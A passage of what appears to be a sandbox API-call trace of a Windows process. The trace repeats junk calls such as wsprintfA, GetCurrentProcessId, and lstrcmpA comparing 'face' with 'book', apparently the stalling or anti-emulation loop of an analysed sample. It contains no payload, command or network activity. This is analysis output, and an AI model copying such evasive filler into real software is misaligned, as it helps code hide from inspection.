wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="21A8P") returned 5 [0031.656] SetLastError (dwErrCode=0x57) [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] lstrlenA (lpString="just string") returned 11 [0031.656] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.656] GetLastError () returned 0x57 [0031.656] GetLastError () returned 0x57 [0031.656] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="21DAP") returned 5 [0031.656] SetLastError (dwErrCode=0x57) [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] lstrlenA (lpString="just string") returned 11 [0031.656] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.656] GetLastError () returned 0x57 [0031.656] GetLastError () returned 0x57 [0031.656] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.656] SetLastError (dwErrCode=0x57) [0031.656] GetCurrentProcess () returned 0xffffffff [0031.656] GetLastError () returned 0x57 [0031.656] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="21E2P") returned 5 [0031.656] SetLastError (dwErrCode=0x57) [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] GetCurrentProcess () returned 0xffffffff [0031.656] GetLastError () returned 0x57 [0031.656] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="21E3P") returned 5 [0031.656] SetLastError (dwErrCode=0x57) [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] GetLastError () returned 0x57 [0031.656] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="21E4P") returned 5 [0031.656] SetLastError (dwErrCode=0x57) [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] GetCurrentProcessId () returned 0xb44 [0031.656] lstrlenA (lpString="just string") returned 11 [0031.656] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.657] GetLastError () returned 0x57 [0031.657] lstrlenA (lpString="just string") returned 11 [0031.657] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.657] GetLastError () returned 0x57 [0031.657] GetLastError () returned 0x57 [0031.657] GetLastError () returned 0x57 [0031.657] GetLastError () returned 0x57 [0031.657] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.657] SetLastError (dwErrCode=0x57) [0031.657] GetCurrentProcess () returned 0xffffffff [0031.657] GetLastError () returned 0x57 [0031.657] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="228CP") returned 5 [0031.657] SetLastError (dwErrCode=0x57) [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] GetCurrentProcess () returned 0xffffffff [0031.657] GetLastError () returned 0x57 [0031.657] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="228DP") returned 5 [0031.657] SetLastError (dwErrCode=0x57) [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] GetLastError () returned 0x57 [0031.657] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="228EP") returned 5 [0031.657] SetLastError (dwErrCode=0x57) [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] lstrlenA (lpString="just string") returned 11 [0031.657] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.657] GetLastError () returned 0x57 [0031.657] GetCurrentProcess () returned 0xffffffff [0031.657] GetLastError () returned 0x57 [0031.657] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="22A1P") returned 5 [0031.657] SetLastError (dwErrCode=0x57) [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] GetLastError () returned 0x57 [0031.657] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="22A2P") returned 5 [0031.657] SetLastError (dwErrCode=0x57) [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] lstrlenA (lpString="just string") returned 11 [0031.657] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.657] GetLastError () returned 0x57 [0031.657] GetLastError () returned 0x57 [0031.657] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="22CAP") returned 5 [0031.657] SetLastError (dwErrCode=0x57) [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] lstrlenA (lpString="just string") returned 11 [0031.657] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.657] GetLastError () returned 0x57 [0031.657] GetLastError () returned 0x57 [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] GetCurrentProcessId () returned 0xb44 [0031.657] lstrlenA (lpString="just string") returned 11 [0031.657] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.657] GetLastError () returned 0x57 [0031.657] GetCurrentProcess () returned 0xffffffff [0031.657] GetLastError () returned 0x57 [0031.657] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2369P") returned 5 [0031.658] SetLastError (dwErrCode=0x57) [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] GetLastError () returned 0x57 [0031.658] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="236AP") returned 5 [0031.658] SetLastError (dwErrCode=0x57) [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] lstrlenA (lpString="just string") returned 11 [0031.658] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.658] GetLastError () returned 0x57 [0031.658] GetLastError () returned 0x57 [0031.658] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.658] SetLastError (dwErrCode=0x57) [0031.658] GetCurrentProcess () returned 0xffffffff [0031.658] GetLastError () returned 0x57 [0031.658] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="23B8P") returned 5 [0031.658] SetLastError (dwErrCode=0x57) [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] GetCurrentProcess () returned 0xffffffff [0031.658] GetLastError () returned 0x57 [0031.658] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="23B9P") returned 5 [0031.658] SetLastError (dwErrCode=0x57) [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] GetLastError () returned 0x57 [0031.658] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="23BAP") returned 5 [0031.658] SetLastError (dwErrCode=0x57) [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] lstrlenA (lpString="just string") returned 11 [0031.658] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.658] GetLastError () returned 0x57 [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] lstrlenA (lpString="just string") returned 11 [0031.658] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.658] GetLastError () returned 0x57 [0031.658] GetCurrentProcess () returned 0xffffffff [0031.658] GetLastError () returned 0x57 [0031.658] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="23F5P") returned 5 [0031.658] SetLastError (dwErrCode=0x57) [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] GetLastError () returned 0x57 [0031.658] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="23F6P") returned 5 [0031.658] SetLastError (dwErrCode=0x57) [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] lstrlenA (lpString="just string") returned 11 [0031.658] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.658] GetLastError () returned 0x57 [0031.658] GetLastError () returned 0x57 [0031.658] GetLastError () returned 0x57 [0031.658] GetCurrentProcess () returned 0xffffffff [0031.658] GetLastError () returned 0x57 [0031.658] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="243BP") returned 5 [0031.658] SetLastError (dwErrCode=0x57) [0031.658] GetCurrentProcessId () returned 0xb44 [0031.658] GetLastError () returned 0x57 [0031.658] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="243CP") returned 5 [0031.659] SetLastError (dwErrCode=0x57) [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] lstrlenA (lpString="just string") returned 11 [0031.659] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.659] GetLastError () returned 0x57 [0031.659] GetLastError () returned 0x57 [0031.659] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.659] SetLastError (dwErrCode=0x57) [0031.659] GetCurrentProcess () returned 0xffffffff [0031.659] GetLastError () returned 0x57 [0031.659] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2458P") returned 5 [0031.659] SetLastError (dwErrCode=0x57) [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetCurrentProcess () returned 0xffffffff [0031.659] GetLastError () returned 0x57 [0031.659] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2459P") returned 5 [0031.659] SetLastError (dwErrCode=0x57) [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetLastError () returned 0x57 [0031.659] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="245AP") returned 5 [0031.659] SetLastError (dwErrCode=0x57) [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] lstrlenA (lpString="just string") returned 11 [0031.659] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.659] GetLastError () returned 0x57 [0031.659] GetLastError () returned 0x57 [0031.659] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2496P") returned 5 [0031.659] SetLastError (dwErrCode=0x57) [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] lstrlenA (lpString="just string") returned 11 [0031.659] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.659] GetLastError () returned 0x57 [0031.659] lstrlenA (lpString="just string") returned 11 [0031.659] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.659] GetLastError () returned 0x57 [0031.659] GetCurrentProcess () returned 0xffffffff [0031.659] GetLastError () returned 0x57 [0031.659] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="255DP") returned 5 [0031.659] SetLastError (dwErrCode=0x57) [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetLastError () returned 0x57 [0031.659] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="255EP") returned 5 [0031.659] SetLastError (dwErrCode=0x57) [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] GetCurrentProcessId () returned 0xb44 [0031.659] lstrlenA (lpString="just string") returned 11 [0031.659] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.659] GetLastError () returned 0x57 [0031.659] lstrlenA (lpString="just string") returned 11 [0031.659] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.659] GetLastError () returned 0x57 [0031.659] GetLastError () returned 0x57 [0031.660] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.660] SetLastError (dwErrCode=0x57) [0031.660] GetCurrentProcess () returned 0xffffffff [0031.660] GetLastError () returned 0x57 [0031.660] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="25B6P") returned 5 [0031.660] SetLastError (dwErrCode=0x57) [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcess () returned 0xffffffff [0031.660] GetLastError () returned 0x57 [0031.660] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="25B7P") returned 5 [0031.660] SetLastError (dwErrCode=0x57) [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetLastError () returned 0x57 [0031.660] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="25B8P") returned 5 [0031.660] SetLastError (dwErrCode=0x57) [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] lstrlenA (lpString="just string") returned 11 [0031.660] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.660] GetLastError () returned 0x57 [0031.660] GetLastError () returned 0x57 [0031.660] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="25C2P") returned 5 [0031.660] SetLastError (dwErrCode=0x57) [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] lstrlenA (lpString="just string") returned 11 [0031.660] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.660] GetLastError () returned 0x57 [0031.660] GetLastError () returned 0x57 [0031.660] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="25FEP") returned 5 [0031.660] SetLastError (dwErrCode=0x57) [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] lstrlenA (lpString="just string") returned 11 [0031.660] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.660] GetLastError () returned 0x57 [0031.660] GetLastError () returned 0x57 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] lstrlenA (lpString="just string") returned 11 [0031.660] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.660] GetLastError () returned 0x57 [0031.660] GetLastError () returned 0x57 [0031.660] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="26A8P") returned 5 [0031.660] SetLastError (dwErrCode=0x57) [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] GetCurrentProcessId () returned 0xb44 [0031.660] lstrlenA (lpString="just string") returned 11 [0031.660] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.660] GetLastError () returned 0x57 [0031.660] GetLastError () returned 0x57 [0031.660] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.661] SetLastError (dwErrCode=0x57) [0031.661] GetCurrentProcess () returned 0xffffffff [0031.661] GetLastError () returned 0x57 [0031.661] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="26ECP") returned 5 [0031.661] SetLastError (dwErrCode=0x57) [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] GetCurrentProcess () returned 0xffffffff [0031.661] GetLastError () returned 0x57 [0031.661] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="26EDP") returned 5 [0031.661] SetLastError (dwErrCode=0x57) [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] GetLastError () returned 0x57 [0031.661] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="26EEP") returned 5 [0031.661] SetLastError (dwErrCode=0x57) [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] lstrlenA (lpString="just string") returned 11 [0031.661] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.661] GetLastError () returned 0x57 [0031.661] GetLastError () returned 0x57 [0031.661] GetLastError () returned 0x57 [0031.661] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.661] SetLastError (dwErrCode=0x57) [0031.661] GetCurrentProcess () returned 0xffffffff [0031.661] GetLastError () returned 0x57 [0031.661] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2714P") returned 5 [0031.661] SetLastError (dwErrCode=0x57) [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] GetCurrentProcess () returned 0xffffffff [0031.661] GetLastError () returned 0x57 [0031.661] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2715P") returned 5 [0031.661] SetLastError (dwErrCode=0x57) [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] GetLastError () returned 0x57 [0031.661] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2716P") returned 5 [0031.661] SetLastError (dwErrCode=0x57) [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] lstrlenA (lpString="just string") returned 11 [0031.661] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.661] GetLastError () returned 0x57 [0031.661] GetCurrentProcess () returned 0xffffffff [0031.661] GetLastError () returned 0x57 [0031.661] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2733P") returned 5 [0031.661] SetLastError (dwErrCode=0x57) [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] GetLastError () returned 0x57 [0031.661] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2734P") returned 5 [0031.661] SetLastError (dwErrCode=0x57) [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] GetCurrentProcessId () returned 0xb44 [0031.661] lstrlenA (lpString="just string") returned 11 [0031.661] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.661] GetLastError () returned 0x57 [0031.661] GetCurrentProcess () returned 0xffffffff [0031.661] GetLastError () returned 0x57 [0031.662] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2747P") returned 5 [0031.662] SetLastError (dwErrCode=0x57) [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] GetLastError () returned 0x57 [0031.662] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2748P") returned 5 [0031.662] SetLastError (dwErrCode=0x57) [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] lstrlenA (lpString="just string") returned 11 [0031.662] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.662] GetLastError () returned 0x57 [0031.662] GetLastError () returned 0x57 [0031.662] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2770P") returned 5 [0031.662] SetLastError (dwErrCode=0x57) [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] lstrlenA (lpString="just string") returned 11 [0031.662] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.662] GetLastError () returned 0x57 [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] lstrlenA (lpString="just string") returned 11 [0031.662] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.662] GetLastError () returned 0x57 [0031.662] GetCurrentProcess () returned 0xffffffff [0031.662] GetLastError () returned 0x57 [0031.662] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="27BFP") returned 5 [0031.662] SetLastError (dwErrCode=0x57) [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] GetLastError () returned 0x57 [0031.662] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="27C0P") returned 5 [0031.662] SetLastError (dwErrCode=0x57) [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] lstrlenA (lpString="just string") returned 11 [0031.662] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.662] GetLastError () returned 0x57 [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] GetCurrentProcessId () returned 0xb44 [0031.662] lstrlenA (lpString="just string") returned 11 [0031.662] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.662] GetLastError () returned 0x57 [0031.662] lstrlenA (lpString="just string") returned 11 [0031.662] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.662] GetLastError () returned 0x57 [0031.662] GetLastError () returned 0x57 [0031.666] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.666] SetLastError (dwErrCode=0x57) [0031.666] GetCurrentProcess () returned 0xffffffff [0031.666] GetLastError () returned 0x57 [0031.666] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2822P") returned 5 [0031.666] SetLastError (dwErrCode=0x57) [0031.666] GetCurrentProcessId () returned 0xb44 [0031.666] GetCurrentProcess () returned 0xffffffff [0031.666] GetLastError () returned 0x57 [0031.666] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2823P") returned 5 [0031.666] SetLastError (dwErrCode=0x57) [0031.666] GetCurrentProcessId () returned 0xb44 [0031.666] GetLastError () returned 0x57 [0031.666] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2824P") returned 5 [0031.666] SetLastError (dwErrCode=0x57) [0031.666] GetCurrentProcessId () returned 0xb44 [0031.666] GetCurrentProcessId () returned 0xb44 [0031.666] GetCurrentProcessId () returned 0xb44 [0031.666] GetCurrentProcessId () returned 0xb44 [0031.666] lstrlenA (lpString="just string") returned 11 [0031.666] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.666] GetLastError () returned 0x57 [0031.666] GetLastError () returned 0x57 [0031.666] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="282EP") returned 5 [0031.666] SetLastError (dwErrCode=0x57) [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] lstrlenA (lpString="just string") returned 11 [0031.667] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.667] GetLastError () returned 0x57 [0031.667] GetLastError () returned 0x57 [0031.667] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.667] SetLastError (dwErrCode=0x57) [0031.667] GetCurrentProcess () returned 0xffffffff [0031.667] GetLastError () returned 0x57 [0031.667] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="284AP") returned 5 [0031.667] SetLastError (dwErrCode=0x57) [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] GetCurrentProcess () returned 0xffffffff [0031.667] GetLastError () returned 0x57 [0031.667] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="284BP") returned 5 [0031.667] SetLastError (dwErrCode=0x57) [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] GetLastError () returned 0x57 [0031.667] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="284CP") returned 5 [0031.667] SetLastError (dwErrCode=0x57) [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] lstrlenA (lpString="just string") returned 11 [0031.667] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.667] GetLastError () returned 0x57 [0031.667] GetLastError () returned 0x57 [0031.667] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.667] SetLastError (dwErrCode=0x57) [0031.667] GetCurrentProcess () returned 0xffffffff [0031.667] GetLastError () returned 0x57 [0031.667] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2872P") returned 5 [0031.667] SetLastError (dwErrCode=0x57) [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] GetCurrentProcess () returned 0xffffffff [0031.667] GetLastError () returned 0x57 [0031.667] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2873P") returned 5 [0031.667] SetLastError (dwErrCode=0x57) [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] GetLastError () returned 0x57 [0031.667] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2874P") returned 5 [0031.667] SetLastError (dwErrCode=0x57) [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] lstrlenA (lpString="just string") returned 11 [0031.667] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.667] GetLastError () returned 0x57 [0031.667] GetCurrentProcessId () returned 0xb44 [0031.667] lstrlenA (lpString="just string") returned 11 [0031.667] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.667] GetLastError () returned 0x57 [0031.667] GetLastError () returned 0x57 [0031.667] GetLastError () returned 0x57 [0031.668] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.668] SetLastError (dwErrCode=0x57) [0031.668] GetCurrentProcess () returned 0xffffffff [0031.668] GetLastError () returned 0x57 [0031.668] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="28D6P") returned 5 [0031.668] SetLastError (dwErrCode=0x57) [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] GetCurrentProcess () returned 0xffffffff [0031.668] GetLastError () returned 0x57 [0031.668] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="28D7P") returned 5 [0031.668] SetLastError (dwErrCode=0x57) [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] GetLastError () returned 0x57 [0031.668] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="28D8P") returned 5 [0031.668] SetLastError (dwErrCode=0x57) [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] lstrlenA (lpString="just string") returned 11 [0031.668] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.668] GetLastError () returned 0x57 [0031.668] GetLastError () returned 0x57 [0031.668] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2914P") returned 5 [0031.668] SetLastError (dwErrCode=0x57) [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] lstrlenA (lpString="just string") returned 11 [0031.668] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.668] GetLastError () returned 0x57 [0031.668] GetLastError () returned 0x57 [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] lstrlenA (lpString="just string") returned 11 [0031.668] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.668] GetLastError () returned 0x57 [0031.668] lstrlenA (lpString="just string") returned 11 [0031.668] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.668] GetLastError () returned 0x57 [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] lstrlenA (lpString="just string") returned 11 [0031.668] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.668] GetLastError () returned 0x57 [0031.668] GetLastError () returned 0x57 [0031.668] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.668] SetLastError (dwErrCode=0x57) [0031.668] GetCurrentProcess () returned 0xffffffff [0031.668] GetLastError () returned 0x57 [0031.668] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2A02P") returned 5 [0031.668] SetLastError (dwErrCode=0x57) [0031.668] GetCurrentProcessId () returned 0xb44 [0031.668] GetCurrentProcess () returned 0xffffffff [0031.668] GetLastError () returned 0x57 [0031.668] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2A03P") returned 5 